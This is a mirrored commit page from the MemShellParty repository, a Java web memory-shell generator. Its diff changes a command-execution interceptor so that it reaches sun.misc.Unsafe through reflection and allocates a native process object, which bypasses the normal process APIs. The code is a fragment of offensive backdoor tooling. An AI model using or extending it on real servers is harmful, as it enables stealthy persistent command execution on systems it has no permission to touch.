archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-25 00:11:52 +08:00
Code Issues Actions 4 Packages Projects Releases Wiki Activity

feat: use unsafe by reflection

Browse Source
This commit is contained in:
ReaJason
2025-05-28 01:22:54 +08:00
parent c094009b5c
commit bc9998c682
1 changed files with 5 additions and 5 deletions
Download Patch File Download Diff File Expand all files Collapse all files
generator/src/main/java/com/reajason/javaweb/memshell/generator/command/ForkAndExecInterceptor.java
+5 -5
View File
@@ -1,7 +1,6 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import sun.misc.Unsafe;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -17,9 +16,10 @@ public class ForkAndExecInterceptor {
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException { public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
try { try {
String[] strs = cmd.split("\\s+"); String[] strs = cmd.split("\\s+");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
theUnsafeField.setAccessible(true); java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
Unsafe unsafe = (Unsafe) theUnsafeField.get(null); unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Class<?> processClass = null; Class<?> processClass = null;
@@ -28,7 +28,7 @@ public class ForkAndExecInterceptor {
} catch (ClassNotFoundException e) { } catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl"); processClass = Class.forName("java.lang.ProcessImpl");
} }
Object processObject = unsafe.allocateInstance(processClass); Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
byte[][] args = new byte[strs.length - 1][]; byte[][] args = new byte[strs.length - 1][];
int size = args.length; int size = args.length;